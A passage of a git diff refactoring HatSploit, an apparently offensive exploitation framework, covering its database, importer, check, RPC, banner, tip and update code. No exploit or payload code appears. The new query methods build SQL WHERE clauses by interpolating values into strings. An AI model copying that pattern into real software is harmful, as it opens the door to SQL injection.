+        :return list: contents
         """
 
-        if self.local_storage.get("connected_plugin_databases"):
-            if name in self.local_storage.get("connected_plugin_databases"):
-                self.local_storage.delete_element("connected_plugin_databases", name)
-                self.local_storage.delete_element("plugins", name)
-                return
+        query = ''
 
-        raise RuntimeError("No such plugin database connected!")
+        if criteria:
+            query = ' WHERE '
+            query += ' AND '.join([f'{entry}="{str(value)}"' for entry, value in criteria.items()])
 
-    def connect_encoder_database(self, name: str, path: str) -> None:
-        """ Connect encoder database.
+        query = self.cursor.execute(f'SELECT * FROM "{self.table}"' + query)
+        result = query.fetchall()
 
-        :param str name: name to give to the database
-        :param str path: path to the database
-        :return None: None
-        :raises RuntimeError: with trailing error message
-        """
-
-        if self.local_storage.get("connected_encoder_databases"):
-            if name in self.local_storage.get("connected_encoder_databases"):
-                raise RuntimeWarning(f"Encoder database is already connected: {path}.")
-
-        if not os.path.exists(path) or not str.endswith(path, "json"):
-            raise RuntimeError(f"Not an encoder database: {path}!")
-
-        try:
-            database = json.load(open(path))
-        except Exception:
-            raise RuntimeError(f"Failed to connect encoder database: {path}!")
-
-        if '__database__' not in database:
-            raise RuntimeError(f"No __database__ section found in database: {path}!")
-
-        if database['__database__']['Type'] != "encoders":
-            raise RuntimeError(f"Not an encoder database: {path}!")
-
-        del database['__database__']
-
-        encoders = {name: database}
-
-        data = {name: {'Path': path}}
-        if not self.local_storage.get("connected_encoder_databases"):
-            self.local_storage.set("connected_encoder_databases", {})
-        self.local_storage.update("connected_encoder_databases", data)
-
-        if self.local_storage.get("encoders"):
-            self.local_storage.update("encoders", encoders)
-        else:
-            self.local_storage.set("encoders", encoders)
-
-    def connect_payload_database(self, name: str, path: str) -> None:
-        """ Connect payload database.
-
-        :param str name: name to give to the database
-        :param str path: path to the database
-        :return None: None
-        :raises RuntimeError: with trailing error message
-        """
-
-        if self.local_storage.get("connected_payload_databases"):
-            if name in self.local_storage.get("connected_payload_databases"):
-                raise RuntimeWarning(f"Payload database is already connected: {path}.")
-
-        if not os.path.exists(path) or not str.endswith(path, "json"):
-            raise RuntimeError(f"Not a payload database: {path}!")
-
-        try:
-            database = json.load(open(path))
-        except Exception:
-            raise RuntimeError(f"Failed to connect payload database: {path}!")
-
-        if '__database__' not in database:
-            raise RuntimeError(f"No __database__ section found in database: {path}!")
-
-        if database['__database__']['Type'] != "payloads":
-            raise RuntimeError(f"Not a payload database: {path}!")
-
-        del database['__database__']
-
-        payloads = {name: database}
+        data = {}
 
-        data = {name: {'Path': path}}
-        if not self.local_storage.get("connected_payload_databases"):
-            self.local_storage.set("connected_payload_databases", {})
-        self.local_storage.update("connected_payload_databases", data)
+        for entry in result:
+            row = dict(entry)
+            data[row['BaseName']] = row
 
-        if self.local_storage.get("payloads"):
-            self.local_storage.update("payloads", payloads)
-        else:
-            self.local_storage.set("payloads", payloads)
+        return data
 
-    def connect_module_database(self, name: str, path: str) -> None:
-        """ Connect module database.
+    def load(self, criteria: dict = {}) -> dict:
+        """ Load all entries matching criteria.
 
-        :param str name: name to give to the database
-        :param str path: path to the database
-        :return None: None
-        :raises RuntimeError: with trailing error message
+        :param dict criteria: criteria
+        (key - field name, value - expected value)
+        :return dict: names as keys, objects as values
         """
 
-        if self.local_storage.get("connected_module_databases"):
-            if name in self.local_storage.get("connected_module_databases"):
-                raise RuntimeWarning(f"Module database is already connected: {path}.")
+        data = {}
+        query = ''
 
-        if not os.path.exists(path) or not str.endswith(path, "json"):
-            raise RuntimeError(f"Not a module database: {path}!")
+        if criteria:
+            query = ' WHERE '
+            query += ' AND '.join([f'{entry}="{str(value)}"' for entry, value in criteria.items()])
 
-        try:
-            database = json.load(open(path))
-        except Exception:
-            raise RuntimeError(f"Failed to connect module database: {path}!")
+        query = self.cursor.execute(f'SELECT BaseName, Path FROM "{self.table}"' + query)
+        result = query.fetchall()
 
-        if '__database__' not in database:
-            raise RuntimeError(f"No __database__ section found in database: {path}!")
+        for entry in result:
+            row = dict(entry)
 
-        if database['__database__']['Type'] != "modules":
-            raise RuntimeError(f"Not a module database: {path}!")
+            if self.table == 'modules':
+                data[row['BaseName']] = Importer.import_module(row['Path'])
 
-        del database['__database__']
+            elif self.table == 'payloads':
+                data[row['BaseName']] = Importer.import_payload(row['Path'])
 
-        modules = {name: database}
+            elif self.table == 'encoders':
+                data[row['BaseName']] = Importer.import_encoder(row['Path'])
 
-        data = {name: {'Path': path}}
-        if not self.local_storage.get("connected_module_databases"):
-            self.local_storage.set("connected_module_databases", {})
-        self.local_storage.update("connected_module_databases", data)
+            elif self.table == 'plugins':
+                data[row['BaseName']] = Importer.import_plugin(row['Path'])
 
-        if self.local_storage.get("modules"):
-            self.local_storage.update("modules", modules)
-        else:
-            self.local_storage.set("modules", modules)
+        return data
 
-    def connect_plugin_database(self, name: str, path: str) -> None:
-        """ Connect plugin database.
+    def build(self, path: str) -> None:
+        """ Build database table from path.
 
-        :param str name: name to give to the database
-        :param str path: path to the database
+        :param str path: path to build from
         :return None: None
         :raises RuntimeError: with trailing error message
         """
 
-        if self.local_storage.get("connected_plugin_databases"):
-            if name in self.local_storage.get("connected_plugin_databases"):
-                raise RuntimeWarning(f"Plugin database is already connected: {path}.")
-
-        if not os.path.exists(path) or not str.endswith(path, "json"):
-            raise RuntimeError(f"Not a plugin database: {path}!")
-
-        try:
-            database = json.load(open(path))
-        except Exception:
-            raise RuntimeError(f"Failed to connect plugin database: {path}!")
-
-        if '__database__' not in database:
-            raise RuntimeError(f"No __database__ section found in database: {path}!")
-
-        if database['__database__']['Type'] != "plugins":
-            raise RuntimeError(f"Not a plugin database: {path}!")
+        if self.table == 'modules':
+            Builder().build_module_database(path, self.path)
 
-        del database['__database__']
+        elif self.table == 'payloads':
+            Builder().build_payload_database(path, self.path)
 
-        plugins = {name: database}
+        elif self.table == 'encoders':
+            Builder().build_encoder_database(path, self.path)
 
-        data = {name: {'Path': path}}
-        if not self.local_storage.get("connected_plugin_databases"):
-            self.local_storage.set("connected_plugin_databases", {})
-        self.local_storage.update("connected_plugin_databases", data)
+        elif self.table == 'plugins':
+            Builder().build_plugin_database(path, self.path)
 
-        if self.local_storage.get("plugins"):
-            self.local_storage.update("plugins", plugins)
         else:
-            self.local_storage.set("plugins", plugins)
+            raise RuntimeError("Table provided does not support building!")
diff --git a/hatsploit/core/db/importer.py b/hatsploit/core/db/importer.py
index bbee2f05e..018f4ebe6 100755
--- a/hatsploit/core/db/importer.py
+++ b/hatsploit/core/db/importer.py
@@ -22,26 +22,13 @@
 SOFTWARE.
 """
 
-import importlib.util
-import json
 import os
-import string
-import sys
-import threading
-import time
-
-from typing import Union
-from badges import Badges
-
-from hatsploit.core.db.db import DB
-from hatsploit.lib.config import Config
-from hatsploit.lib.storage import LocalStorage
+import importlib.util
 
-from hatsploit.lib.module import Module
-from hatsploit.lib.command import Command
-from hatsploit.lib.plugin import Plugin
-from hatsploit.lib.encoder import Encoder
-from hatsploit.lib.payload import Payload
+from hatsploit.lib.core.module import Module
+from hatsploit.lib.core.plugin import Plugin
+from hatsploit.lib.core.encoder import Encoder
+from hatsploit.lib.core.payload import Payload
 
 
 class Importer(object):
@@ -52,38 +39,6 @@ class Importer(object):
     commands, etc.
     """
 
-    def __init__(self) -> None:
-        super().__init__()
-
-        self.badges = Badges()
-        self.db = DB()
-        self.local_storage = LocalStorage()
-        self.config = Config()
-
-    @staticmethod
-    def import_command(command_path: str) -> Command:
-        """ Import command from path.
-
-        :param str command_path: path to command
-        :return Command: command object
-        :raises RuntimeError: with trailing error message
-        """
-
-        try:
-            if not command_path.endswith('.py'):
-                command_path = command_path + '.py'
-
-            spec = importlib.util.spec_from_file_location(command_path, command_path)
-            command = importlib.util.module_from_spec(spec)
-
-            spec.loader.exec_module(command)
-            command = command.HatSploitCommand()
-
-        except Exception as e:
-            raise RuntimeError(f"Failed to import command: {str(e)}!")
-
-        return command
-
     @staticmethod
     def import_payload(payload_path: str) -> Payload:
         """ Import payload from path.
@@ -179,108 +134,3 @@ def import_plugin(plugin_path: str) -> Plugin:
             raise RuntimeError(f"Failed to import plugin: {str(e)}!")
 
         return plugin
-
-    def import_commands(self, path: str) -> dict:
-        """ Import all commands from path.
-
-        :param str path: path to commands
-        :return dict: commands, command names as keys and
-        command objects as items
-        """
-
-        if not path.endswith('/'):
-            path += '/'
-
-        commands = {}
-        command_path = os.path.split(path)[0]
-
-        for file in os.listdir(command_path):
-            if file.endswith('py'):
-                try:
-                    command_object = self.import_command(command_path + '/' + file[:-3])
-                    command_name = command_object.details['Name']
-                    commands[command_name] = command_object
-
-                except Exception as e:
-                    self.badges.print_error(f"Failed to load {file[:-3]} command!")
-                    self.badges.print_error(str(e))
-
-        return commands
-
-    def import_plugins(self, path: str) -> dict:
-        """ Import all plugins from path.
-
-        :param str path: path to plguins
-        :return dict: plugins, plugin names as keys and
-        plugin objects as items
-        """
-
-        if not path.endswith('/'):
-            path += '/'
-
-        plugins = {}
-        plugin_path = os.path.split(path)[0]
-
-        for file in os.listdir(plugin_path):
-            if file.endswith('py'):
-                try:
-                    plugin_object = self.import_plugin(plugin_path + '/' + file[:-3])
-                    plugin_name = plugin_object.details['Plugin']
-                    plugins[plugin_name] = plugin_object
-
-                except Exception as e:
-                    self.badges.print_error(f"Failed to load {file[:-3]} plugin!")
-                    self.badges.print_error(str(e))
-
-        return plugins
-
-    def import_base_commands(self) -> None:
-        """ Import base (core) commands.
-
-        :return None: None
-        """
-
-        commands = self.import_commands(self.config.path_config['commands_path'])
-        self.local_storage.set("commands", commands)
-
-    def import_base_databases(self) -> None:
-        """ Import base databases.
-
-        :return None: None
-        """
-
-        base_dbs = self.config.db_config['base_dbs']
-        db_path = self.config.path_config['db_path']
-
-        if os.path.exists(db_path + base_dbs['module_database']):
-            self.db.connect_module_database(
-                base_dbs['module_database_name'],
-                db_path + base_dbs['module_database'],
-            )
-
-        if os.path.exists(db_path + base_dbs['payload_database']):
-            self.db.connect_payload_database(
-                base_dbs['payload_database_name'],
-                db_path + base_dbs['payload_database'],
-            )
-
-        if os.path.exists(db_path + base_dbs['encoder_database']):
-            self.db.connect_encoder_database(
-                base_dbs['encoder_database_name'],
-                db_path + base_dbs['encoder_database'],
-            )
-
-        if os.path.exists(db_path + base_dbs['plugin_database']):
-            self.db.connect_plugin_database(
-                base_dbs['plugin_database_name'],
-                db_path + base_dbs['plugin_database'],
-            )
-
-    def import_all(self) -> None:
-        """ Import all base commands and all base databases.
-
-        :return None: None
-        """
-
-        self.import_base_commands()
-        self.import_base_databases()
diff --git a/hatsploit/core/utils/check.py b/hatsploit/core/utils/check.py
index 0280d6b36..deac058e7 100755
--- a/hatsploit/core/utils/check.py
+++ b/hatsploit/core/utils/check.py
@@ -23,7 +23,6 @@
 """
 
 import os
-import sys
 
 from badges import Badges
 
@@ -31,7 +30,7 @@
 from hatsploit.lib.config import Config
 
 
-class Check(object):
+class Check(Badges, Config):
     """ Subclass of hatsploit.core.utils module.
 
     This subclass of hatsploit.core.utils module is intended for
@@ -39,13 +38,6 @@ class Check(object):
     encoders.
     """
 
-    def __init__(self) -> None:
-        super().__init__()
-
-        self.config = Config()
-        self.importer = Importer()
-        self.badges = Badges()
-
     def check_modules(self) -> bool:
         """ Check base modules.
 
@@ -53,35 +45,37 @@ def check_modules(self) -> bool:
         """
 
         one_fail = False
-        self.badges.print_process("Checking all base modules...")
+        self.print_process("Checking all base modules...")
 
-        modules_path = os.path.normpath(self.config.path_config['modules_path'])
+        modules_path = os.path.normpath(self.path_config['modules_path'])
 
         for dir, _, files in os.walk(modules_path):
             for file in files:
-                if file.endswith('.py') and file != '__init__.py':
-                    module = dir + '/' + file[:-3]
-
-                    try:
-                        module_object = self.importer.import_module(module)
-                        keys = [
-                            'Category',
-                            'Name',
-                            'Module',
-                            'Authors',
-                            'Description',
-                            'Platform',
-                            'Rank',
-                        ]
-
-                        assert all(key in module_object.details for key in keys)
-                        self.badges.print_success(f"{module}: OK")
-
-                    except Exception as e:
-                        self.badges.print_error(str(e))
-                        self.badges.print_error(f"{module}: FAIL")
-
-                        one_fail = True
+                if not file.endswith('.py') or file == '__init__.py':
+                    continue
+
+                module = dir + '/' + file[:-3]
+
+                try:
+                    module_object = Importer().import_module(module)
+                    keys = [
+                        'Category',
+                        'Name',
+                        'Module',
+                        'Authors',
+                        'Description',
+                        'Platform',
+                        'Rank',
+                    ]
+
+                    assert all(key in module_object.info for key in keys)
+                    self.print_success(f"{module}: OK")
+
+                except Exception as e:
+                    self.print_error(str(e))
+                    self.print_error(f"{module}: FAIL")
+
+                    one_fail = True
 
         return not one_fail
 
@@ -92,33 +86,35 @@ def check_encoders(self) -> None:
         """
 
         one_fail = False
-        self.badges.print_process("Checking all base encoders...")
+        self.print_process("Checking all base encoders...")
 
-        encoders_path = os.path.normpath(self.config.path_config['encoders_path'])
+        encoders_path = os.path.normpath(self.path_config['encoders_path'])
 
         for dir, _, files in os.walk(encoders_path):
             for file in files:
-                if file.endswith('.py') and file != '__init__.py':
-                    encoder = dir + '/' + file[:-3]
+                if not file.endswith('.py') or file == '__init__.py':
+                    continue
 
-                    try:
-                        encoder_object = self.importer.import_encoder(encoder)
-                        keys = [
-                            'Name',
-                            'Encoder',
-                            'Authors',
-                            'Description',
-                            'Arch',
-                        ]
+                encoder = dir + '/' + file[:-3]
 
-                        assert all(key in encoder_object.details for key in keys)
-                        self.badges.print_success(f"{encoder}: OK")
+                try:
+                    encoder_object = Importer().import_encoder(encoder)
+                    keys = [
+                        'Name',
+                        'Encoder',
+                        'Authors',
+                        'Description',
+                        'Arch',
+                    ]
 
-                    except Exception as e:
-                        self.badges.print_error(str(e))
-                        self.badges.print_error(f"{encoder}: FAIL")
+                    assert all(key in encoder_object.info for key in keys)
+                    self.print_success(f"{encoder}: OK")
 
-                        one_fail = True
+                except Exception as e:
+                    self.print_error(str(e))
+                    self.print_error(f"{encoder}: FAIL")
+
+                    one_fail = True
 
         return not one_fail
 
@@ -129,36 +125,38 @@ def check_payloads(self) -> bool:
         """
 
         one_fail = False
-        self.badges.print_process("Checking all base payloads...")
+        self.print_process("Checking all base payloads...")
 
-        payloads_path = os.path.normpath(self.config.path_config['payloads_path'])
+        payloads_path = os.path.normpath(self.path_config['payloads_path'])
 
         for dir, _, files in os.walk(payloads_path):
             for file in files:
-                if file.endswith('.py') and file != '__init__.py':
-                    payload = dir + '/' + file[:-3]
-
-                    try:
-                        payload_object = self.importer.import_payload(payload)
-                        keys = [
-                            'Name',
-                            'Payload',
-                            'Authors',
-                            'Description',
-                            'Arch',
-                            'Platform',
-                            'Rank',
-                            'Type',
-                        ]
-
-                        assert all(key in payload_object.details for key in keys)
-                        self.badges.print_success(f"{payload}: OK")
-
-                    except Exception as e:
-                        self.badges.print_error(str(e))
-                        self.badges.print_error(f"{payload}: FAIL")
-
-                        one_fail = True
+                if not file.endswith('.py') or file == '__init__.py':
+                    continue
+
+                payload = dir + '/' + file[:-3]
+
+                try:
+                    payload_object = Importer().import_payload(payload)
+                    keys = [
+                        'Category',
+                        'Name',
+                        'Payload',
+                        'Authors',
+                        'Description',
+                        'Arch',
+                        'Platform',
+                        'Type',
+                    ]
+
+                    assert all(key in payload_object.info for key in keys)
+                    self.print_success(f"{payload}: OK")
+
+                except Exception as e:
+                    self.print_error(str(e))
+                    self.print_error(f"{payload}: FAIL")
+
+                    one_fail = True
 
         return not one_fail
 
@@ -169,27 +167,29 @@ def check_plugins(self) -> bool:
         """
 
         one_fail = False
-        self.badges.print_process("Checking all base plugins...")
+        self.print_process("Checking all base plugins...")
 
-        plugins_path = os.path.normpath(self.config.path_config['plugins_path'])
+        plugins_path = os.path.normpath(self.path_config['plugins_path'])
 
         for dir, _, files in os.walk(plugins_path):
             for file in files:
-                if file.endswith('.py') and file != '__init__.py':
-                    plugin = dir + '/' + file[:-3]
+                if not file.endswith('.py') or file == '__init__.py':
+                    continue
+
+                plugin = dir + '/' + file[:-3]
 
-                    try:
-                        plugin_object = self.importer.import_plugin(plugin)
-                        keys = ['Name', 'Authors', 'Description']
+                try:
+                    plugin_object = Importer().import_plugin(plugin)
+                    keys = ['Name', 'Authors', 'Description']
 
-                        assert all(key in plugin_object.details for key in keys)
-                        self.badges.print_success(f"{plugin}: OK")
+                    assert all(key in plugin_object.info for key in keys)
+                    self.print_success(f"{plugin}: OK")
 
-                    except Exception as e:
-                        self.badges.print_error(str(e))
-                        self.badges.print_error(f"{plugin}: FAIL")
+                except Exception as e:
+                    self.print_error(str(e))
+                    self.print_error(f"{plugin}: FAIL")
 
-                        one_fail = True
+                    one_fail = True
 
         return not one_fail
 
@@ -208,8 +208,8 @@ def check_all(self) -> bool:
 
         for fail in fails:
             if not fail:
-                self.badges.print_error("Not all checks passed!")
+                self.print_error("Not all checks passed!")
                 return False
 
-        self.badges.print_success("All checks passed!")
+        self.print_success("All checks passed!")
         return True
diff --git a/hatsploit/core/utils/rpc.py b/hatsploit/core/utils/rpc.py
index e4320ada3..8d6035396 100644
--- a/hatsploit/core/utils/rpc.py
+++ b/hatsploit/core/utils/rpc.py
@@ -24,8 +24,6 @@
 
 from jsonrpclib.SimpleJSONRPCServer import SimpleJSONRPCServer
 
-from hatsploit.lib.commands import Commands
-
 
 class RPC(object):
     """ Subclass of hatsploit.core.utils module.
@@ -44,8 +42,6 @@ def __init__(self, host: str, port: int = 1006) -> None:
         self.host = host
         self.port = int(port)
 
-        self.commands = Commands()
-
     def run(self) -> None:
         """ Run RPC server.
 
@@ -53,7 +49,7 @@ def run(self) -> None:
         """
 
         rpc = SimpleJSONRPCServer((self.host, self.port))
-        commands = self.commands.get_commands()
+        commands = {}
 
         for command in commands:
             name = command
diff --git a/hatsploit/core/utils/tools.py b/hatsploit/core/utils/tools.py
deleted file mode 100755
index 522433f5f..000000000
--- a/hatsploit/core/utils/tools.py
+++ /dev/null
@@ -1,58 +0,0 @@
-"""
-MIT License
-
-Copyright (c) 2020-2024 EntySec
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
-"""
-
-from typing import Callable, Any
-
-from hatsploit.lib.jobs import Jobs
-
-
-class Tools(object):
-    """ Subclass of hatsploit.core.cli module.
-
-    This subclass of hatsploit.core.cli module is intended for
-    providing various tools and shortcuts.
-    """
-
-    def __init__(self) -> None:
-        super().__init__()
-
-        self.jobs = Jobs()
-
-    def background(self, target: Callable[..., Any], args: list = [], kwargs: dict = {}) -> None:
-        """ Start function as a background job.
-
-        :param Callable[..., Any] target: function to start
-        :param list args: extra target function arguments
-        :param dict kwargs: extra job function kwargs
-        :return None: None
-        """
-
-        self.jobs.create_job(
-            job=None,
-            module=None,
-            target=target,
-            args=args,
-            kwargs=kwargs,
-            hidden=True
-        )
diff --git a/hatsploit/core/utils/ui/banner.py b/hatsploit/core/utils/ui/banner.py
old mode 100755
new mode 100644
index d0f35bcb7..f8c0583d4
--- a/hatsploit/core/utils/ui/banner.py
+++ b/hatsploit/core/utils/ui/banner.py
@@ -26,52 +26,40 @@
 import random
 
 from colorscript import ColorScript
+
 from badges import Badges
 
 from hatsploit.lib.config import Config
 
 
-class Banner(object):
-    """ Subclass of hatsploit.core.utils.ui module.
+class Banner(Config, Badges):
+    """ Subclass of seashell.core module.
 
-    This subclass of hatsploit.core.utils.ui module is intended for
+    This subclass of seashell.core module is intended for
     providing tools for printing banners in UI.
     """
 
-    def __init__(self) -> None:
-        super().__init__()
-
-        self.config = Config()
-        self.badges = Badges()
-
-        self.color_script = ColorScript()
-
     def print_random_banner(self) -> None:
         """ Print random banner.
 
         :return None: None
         """
 
-        if os.path.exists(self.config.path_config['banners_path']):
-            banners = []
-            all_banners = os.listdir(self.config.path_config['banners_path'])
-
-            for banner in all_banners:
-                banners.append(banner)
-
-            if banners:
-                banner = ""
-
-                while not banner:
-                    random_banner = random.randint(0, len(banners) - 1)
-                    banner = self.color_script.parse_file(
-                        self.config.path_config['banners_path'] + banners[random_banner]
-                    )
-
-                self.badges.set_less(False)
-                self.badges.print_empty(f"%newline%end{banner}%end%newline")
-                self.badges.set_less(True)
-            else:
-                self.badges.print_warning("No banners detected.")
-        else:
-            self.badges.print_warning("No banners detected.")
+        if not os.path.exists(self.path_config['banners_path']):
+            self.print_warning("No banners detected.")
+            return
+
+        banners = list(os.listdir(self.path_config['banners_path']))
+
+        if not banners:
+            self.print_warning("No banners detected.")
+            return
+
+        random_banner = random.randint(0, len(banners) - 1)
+        banner = ColorScript().parse_file(
+            self.path_config['banners_path'] + banners[random_banner]
+        )
+
+        self.set_less(False)
+        self.print_empty(f"%newline%end{banner}%end%newline")
+        self.set_less(True)
diff --git a/hatsploit/core/utils/ui/completer.py b/hatsploit/core/utils/ui/completer.py
deleted file mode 100755
index 31a8a995d..000000000
--- a/hatsploit/core/utils/ui/completer.py
+++ /dev/null
@@ -1,127 +0,0 @@
-"""
-MIT License
-
-Copyright (c) 2020-2024 EntySec
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
-"""
-
-import readline
-
-from pex.string import String
-from hatsploit.lib.commands import Commands
-
-
-class Completer(object):
-    """ Subclass of hatsploit.core.utils.ui module.
-
-    This subclass of hatsploit.core.utils.ui module is intended for
-    providing a completer for HatSploit CLI interpreter.
-    """
-
-    def __init__(self) -> None:
-        super().__init__()
-
-        self.string = String()
-        self.commands = Commands()
-
-        self.matches = None
-
-    def completer(self, text: str, state: int) -> list:
-        """ Tab-completion handler.
-
-        :param str text: text to complete
-        :param int state: cursor state
-        :return list: matches
-        """
-
-        if state == 0:
-            options = []
-            complete_function = self.default_completer
-
-            original_line = readline.get_line_buffer()
-            line = original_line.lstrip()
-
-            stripped = len(original_line) - len(line)
-            start_index = readline.get_begidx() - stripped
-
-            if start_index > 0:
-                command = self.string.split_args(line)
-
-                if command[0] == "":
-                    complete_function = self.default_completer
-                else:
-                    commands = self.commands.get_commands()
-
-                    other_commands = self.commands.get_modules_commands()
-                    other_commands.update(self.commands.get_plugins_commands())
-
-                    if command[0] in commands:
-                        if hasattr(commands[command[0]], "complete"):
-                            complete_function = commands[command[0]].complete
-
-                        else:
-                            if 'Options' in commands[command[0]].details:
-                                options = commands[command[0]].details['Options']
-                            else:
-                                complete_function = self.default_completer
-
-                    elif command[0] in other_commands:
-                        if 'Options' in other_commands[command[0]]:
-                            options = other_commands[command[0]]['Options']
-
-                        else:
-                            complete_function = self.default_completer
-
-                    else:
-                        complete_function = self.default_completer
-            else:
-                complete_function = self.commands.commands_completer
-
-            if options:
-                self.matches = self.options_completer(options, text)
-            else:
-                self.matches = complete_function(text)
-
-        try:
-            return self.matches[state]
-        except IndexError:
-            return []
-
-    @staticmethod
-    def options_completer(options: dict, text: str) -> list:
-        """ Tab-completion handler for options.
-
-        :param dict options: dictionary, option names as keys and
-        option details as items
-        :param str text: text to complete
-        :return list: matches
-        """
-
-        return [option for option in options if option.startswith(text)]
-
-    @staticmethod
-    def default_completer(text: str) -> list:
-        """ Tab-completion handler for defaults.
-
-        :param str text: text to complete
-        :return list: matches
-        """
-
-        return []
diff --git a/hatsploit/core/utils/ui/tip.py b/hatsploit/core/utils/ui/tip.py
old mode 100755
new mode 100644
index 1b593d6e3..72c6aea98
--- a/hatsploit/core/utils/ui/tip.py
+++ b/hatsploit/core/utils/ui/tip.py
@@ -26,50 +26,38 @@
 import random
 
 from colorscript import ColorScript
+
 from badges import Badges
 
 from hatsploit.lib.config import Config
 
 
-class Tip(object):
-    """ Subclass of hatsploit.core.utils.ui module.
+class Tip(Config, Badges):
+    """ Subclass of seashell.core module.
 
-    This subclass of hatsploit.core.utils.ui module is intended for
+    This subclass of seashell.core module is intended for
     providing tools for printing tips in UI.
     """
 
-    def __init__(self) -> None:
-        super().__init__()
-
-        self.config = Config()
-        self.badges = Badges()
-
-        self.color_script = ColorScript()
-
     def print_random_tip(self) -> None:
         """ Print random tip.
 
         :return None: None
         """
 
-        if os.path.exists(self.config.path_config['tips_path']):
-            tips = []
-            all_tips = os.listdir(self.config.path_config['tips_path'])
+        if not os.path.exists(self.path_config['tips_path']):
+            self.print_warning("No tips detected.")
+            return
 
-            for tip in all_tips:
-                tips.append(tip)
+        tips = list(os.listdir(self.path_config['tips_path']))
 
-            if tips:
-                tip = ""
+        if not tips:
+            self.print_warning("No tips detected.")
+            return
 
-                while not tip:
-                    random_tip = random.randint(0, len(tips) - 1)
-                    tip = self.color_script.parse_file(
-                        self.config.path_config['tips_path'] + tips[random_tip]
-                    )
+        random_tip = random.randint(0, len(tips) - 1)
+        tip = ColorScript().parse_file(
+            self.path_config['tips_path'] + tips[random_tip]
+        )
 
-                self.badges.print_empty(f"%newline%endHatSploit Tip: {tip}%end%newline")
-            else:
-                self.badges.print_warning("No tips detected.")
-        else:
-            self.badges.print_warning("No tips detected.")
+        self.print_empty(f"%newline%endHatSploit Tip: {tip}%end%newline")
diff --git a/hatsploit/core/utils/update.py b/hatsploit/core/utils/update.py
index 8ac59233e..0f50c73ca 100755
--- a/hatsploit/core/utils/update.py
+++ b/hatsploit/core/utils/update.py
@@ -33,19 +33,13 @@
 from hatsploit.lib.config import Config
 
 
-class Update(object):
+class Update(Config, Badges):
     """ Subclass of hatsploit.core.utils module.
 
     This subclass of hatsploit.core.utils module is intended for
     providing tools for working with HatSploit updates.
     """
 
-    def __init__(self) -> None:
-        super().__init__()
-
-        self.config = Config()
-        self.badges = Badges()
-
     def check_update(self) -> bool:
         """ Check for HatSploit update.
 
@@ -62,10 +56,10 @@ def check_update(self) -> bool:
             remote_config = None
 
         if remote_config:
-            remote_version = self.config.get_config_file(remote_config)['details'][
+            remote_version = self.get_config_file(remote_config)['details'][
                 'version'
             ]
-            local_version = self.config.core_config['details']['version']
+            local_version = self.core_config['details']['version']
 
             return version.parse(local_version) < version.parse(remote_version)
         return False
@@ -78,8 +72,8 @@ def update(self) -> None:
         """
 
         if self.check_update():
-            self.badges.print_process("Updating HatSploit Framework...")
-            shutil.rmtree(os.path.abspath(self.config.path_config['root_path']))
+            self.print_process("Updating HatSploit Framework...")
+            shutil.rmtree(os.path.abspath(self.path_config['root_path']))
 
             subprocess.call(
                 [
diff --git a/hatsploit/data/banners/cyber_security_girls.colors b/hatsploit/data/banners/cyber_security_girls.colors
index 51ce537f7..d1cab04d5 100755
--- a/hatsploit/data/banners/cyber_security_girls.colors
+++ b/hatsploit/data/banners/cyber_security_girls.colors
@@ -23,7 +23,7 @@
 %comment
 
 %comment I have no girlfriend... so
-%comment write me @enty8080
+%comment write me in twitter - @enty8080
 
 %end
 %boldCyber security girls...%end     _
diff --git a/hatsploit/data/banners/red_skull.colors b/hatsploit/data/banners/red_skull.colors
new file mode 100644
index 000000000..1a2dbf8d6
--- /dev/null
+++ b/hatsploit/data/banners/red_skull.colors
@@ -0,0 +1,48 @@
+%comment
+%comment MIT License
+%comment
+%comment Copyright (c) 2020-2024 EntySec
+%comment
+%comment Permission is hereby granted, free of charge, to any person obtaining a copy
+%comment of this software and associated documentation files (the "Software"), to deal
+%comment in the Software without restriction, including without limitation the rights
+%comment to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+%comment copies of the Software, and to permit persons to whom the Software is
+%comment furnished to do so, subject to the following conditions:
+%comment
+%comment The above copyright notice and this permission notice shall be included in all
+%comment copies or substantial portions of the Software.
+%comment
+%comment THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+%comment IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+%comment FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+%comment AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+%comment LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
